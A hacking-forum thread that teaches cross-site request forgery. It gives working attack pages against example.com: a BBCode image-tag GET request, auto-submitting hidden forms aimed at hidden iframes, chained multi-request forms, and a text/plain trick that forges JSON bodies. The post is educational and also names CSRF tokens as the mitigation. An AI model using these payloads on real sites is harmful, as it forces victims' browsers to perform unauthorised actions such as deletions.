More Cross-Site Request Forgery Attack Techniques
#1
So, my last post (https://greysec.net/showthread.php?tid=1272) , was really just to call out the vulnerable 'Thanks' button in a fun way. So, this thread is an overview of common requests that are CSRF-able and how to take advantage of them.

Now, I'll assume you already have some familiarity with cross-site request forgery attacks. If not the basic premise is rather simple: when you log into a website, a session identifier is established and a cookie with it is created. This cookie ties your browser session to a particular account on the server (among other things). The server will usually trust that any request made with a valid identifier came from the user the identifier is tied to. An attacker can take advantage of this trust by forcing users to make requests without their consent or knowledge, the server will think their requests are legitimate and will act as if the user made the request themselves.

Base requirments for a successful CSRF
  • Replayability - Basically, if you can hit F5 and the action is attempted again it's probably vulnerable
  • Known parameters - Sometimes request will require variables you can't reasonably know, like a user password, if you can determine proper values for all parameters of the request then it's probably vulnerable. A common mitigation is a CSRF token, a random string that is unique to every session and included in the body of the request. If the wrong/no string is provided the request is denied.
  • Mutation of state - Something needs to change on the server, since you normally cannot read the response you can't use CSRF to read someone's mail for example, you need a request that actually changes something, like sending mail, deleting accounts, or transferring money in a bank.
This isn't an exhaustive list of checks, there are other techniques to detect CSRF attempts that I'll mention later.

GET based example

*You can check out the last CSRF thread I made for a more detailed look at this basic category of attack here: https://greysec.net/showthread.php?tid=1272

At the most basic level you have GET based attacks. These are the easiest to exploit, but they also violate the HTTP specifications as GET requests should never make modifications. That said, it happens, I've seen a number of sites that will have something like a link "[x]" for an admin to click to delete something. Imagine that [x] link went to

Code:
http://example.com/admin/delete.php?id=84

Even if that link verified it was an admin performing the action it would still be vulnerable to CSRF. It is replayable, if I deleted one item then hit F5, it would try to delete the item again, the only parameter is the id, which can be known, and it makes a change to the underlying application's state.

How then would you exploit this? Well, this is where a lot of people ignore CSRF issues because it does require some degree of interaction with the victim. You need to somehow get them to make the request to delete.php without them knowing. Fortunately, this isn't actually that difficult. On a forum like this, one could simply insert the following BBCode

Code:
[img]http://example.com/admin/delete.php?id=84[/img]

That will become an image tag making a request to delete.php, even though its not an image what matters is that a request gets made to delete.php not that it successfully loads. There are many other options that could be used to cause a request to be made, script tags and background-image in CSS come to mind also if you can control those pages.

Basic POST based example
Unlike GET based examples, you usually need to get a user to visit a website you can control to perform a POST based attack. This may sound like a significant hurdle, and in a sense it is, but if I included a link in this form to a Blog with more information about CSRF, would you click? Or, given the number of people who fall for phishing attacks, many more might click without falling for the phish but still on the page long enough to force some requests to another website. So, anyway, most of the following will assume you can get a user to visit your webpage.

In a POST request, instead of having the parameters in the URL (though there still may be some in the URL) they are in the body of the request, which is usually empty for a GET based request. For example, let's say that delete action was post based instead. You might have a request like the following:

Code:
POST /admin/actions.php HTTP/1.1
    User-Agent: SomeUAStringHere
    Host: example.com
    Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

action=delete&id=84

In this case, I'm pretending there is an actions.php file and it takes two parameters: action and id and its POST based. I'll also assume that action and id must be POST, especially in PHP you'll find websites using $_REQUEST['variable_name'] which means you can put the action and id in the URL and exploit it as a GET request. In this case lets not make it easy. The page used to exploit this POST based CSRF might look like this:

Code:
<html>
<head><title>example.com</title></head>
<body>
    <form action="//example.com/admin/actions.php" method="POST">
        <input type="hidden" name="action" value="delete" />
        <input type="hidden" name="id" value="84" />
        <input type="submit" value="Press to win!!!" />
    </form>
</body>
</html>

The downside to this, is it requires direct user interaction, and a further issue is that once the form has been submitted the page will be redirected to the target site, a clear indication something suspicious has happened.

The first issue can be solved by decorating the page to give the user an incentive to click or by adding a bit of JavaScript to submit the form. You don't even need the submit button if you just want to attack those with JavaScript. The second issue can be solved by setting the form's target to a hidden frame.

Code:
<html>
<head>
    <title>example.com</title>
    <script>
    function makePost() {
        document.getElementById("csrf").submit();
    }
    </script>
</head>
<body onload="makePost();">
    <form id="csrf" target="hiddenFrame" action="//example.com/admin/actions.php" method="POST">
        <input type="hidden" name="action" value="delete" />
        <input type="hidden" name="id" value="84" />
        <input type="submit" value="Press to win!!!" />
    </form>
    <iframe name="hiddenFrame" border=0 width=1 height=1 style="position:absolute;bottom:-100px;"></iframe>
</body>
</html>

Notice the addition of the target attribute to the form tag, and the new iframe tag. This code will silently make the CSRF request without the user knowing.

Multiple Request CSRF

Occasionally, you need to make multiple requests to fully make a particular request or make it look legitimate. For example the following request series might be necessary:

  1. GET /admin/home?example=parameter
  2. POST /admin/actions  body{action=list}
  3. POST /admin/actions body{action=delete&id=84}

It is still possible to exploit this, without too much trouble. You need to create a form for each request and then handle the 'onload' event of the iframe. Whenever the handler is called you are cleared to make the next request. You can kick things off from an onload handler for the body tag, or any JS that is executed after the page has been loaded.

Code:
<html>
<head>
    <title>My Site</title>
    <script>
    var forms = []
    function nextAction() {
        id = forms.pop()
        if(id != undefined) {
            document.getElementById(id).submit();
        }
    }
    function main() {
        forms.push("csrf_1")
        forms.push("csrf_2")
        forms.push("csrf_3")
        forms.reverse() //Reverse since this uses stack methods (push/pop)
        nextAction();
    }
    </script>
</head>
<body onload="main();">
    <form id="csrf_1" target="hiddenFrame" action="//example.com/admin/home" method="GET">
        <input type="hidden" name="example" value="parameter" />
    </form>
    <form id="csrf_2" target="hiddenFrame" action="//example.com/admin/actions" method="POST">
        <input type="hidden" name="action" value="list" />
    </form>
    <form id="csrf_3" target="hiddenFrame" action="//example.com/admin/actions" method="POST">
        <input type="hidden" name="action" value="delete" />
        <input type="hidden" name="id" value="84" />    
    </form>
    <iframe onload="nextAction();" name="hiddenFrame" border=0 width=1 height=1 style="position:absolute;bottom:-100px;"></iframe>
</body>
</html>


Dealing with JSON

When JSON is used, its usually done from the same domain using XMLHttpRequest. This is because there is no <form> that results in a JSON body, and this is a problem for us because you cannot make cross-domain  XMLHttpRequests. The content-type header also often changes when using JSON to 'application/json'. If the server actually checks this header, then at least for attacking up-to-date browsers you're out of luck as of now there is no way to generate that header for a cross-domain request.

So, how can we generate JSON data? Like everything else, CSRF related, its a simple technique, just put the 'JSON' as the name of a parameter and use the enctype attribute of the form to indicate nothing should be encoded (text/plain).

Lets say we need to send the following request: POST /admin/api with the JSON: {"action":"delete", "id":84}

Code:
<html>
<head>
    <title>example.com</title>
    <script>
    function makePost() {
        document.getElementById("csrf").submit();
    }
    </script>
</head>
<body onload="makePost();">
    <form id="csrf" target="hiddenFrame" action="//example.com/admin/actions.php" method="POST" enctype="text/plain">
        <input type="hidden" name="{&#x22;action&#x22;:&#x22;delete&#x22;, &#x22;id&#x22;:84}" value="" />
    </form>
    <iframe name="hiddenFrame" border=0 width=1 height=1 style="position:absolute;bottom:-100px;"></iframe>
</body>
</html>

This will work in some cases but it would result in invalid JSON like

Code:
{"action":"delete", "id":84}=

Notice the trailing "=", that might break some parsers, though it may work with others. A more complete solution would be to use the "=" to your advantage and use it to make some valid JSON.
Code:
<input type="hidden" name="{&#x22;action&#x22;:&#x22;delete&#x22;, &#x22;id&#x22;:84, &#x22;padding&#x22;:&#x22;" value="unnecessary content&#x22;}" />

Adding the extra field allows you to encode the "=" in JSON quotes and turn the request into valid JSON.

Code:
{"action":"delete", "id":84, "padding":"=unnecessary content"}

Dealing with XML

Re-read the JSON section, replacing JSON with XML and the JSON formatted data with XML formatted data.
Reply
#2
Very detailed write up, i enjoyed reading your post. Thanks.
Reply
#3
Excellent write up Smile! Very interesting to read, also I've decided to sticky your older thread.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  CRLF Injection - Manipulating an HTTP Request Insider 1 541 06-16-2020, 12:38 PM
Last Post: dropzone
  [Tutorial] Request header MySQL injection using netcat and burp suite Insider 0 474 06-16-2020, 02:53 AM
Last Post: Insider
  is my site secure from common hacking? mhiats37 1 2,173 05-11-2019, 03:03 AM
Last Post: misfit
  Cross-Site Request Forgery Attacks dropzone 6 14,239 12-06-2017, 04:19 PM
Last Post: kms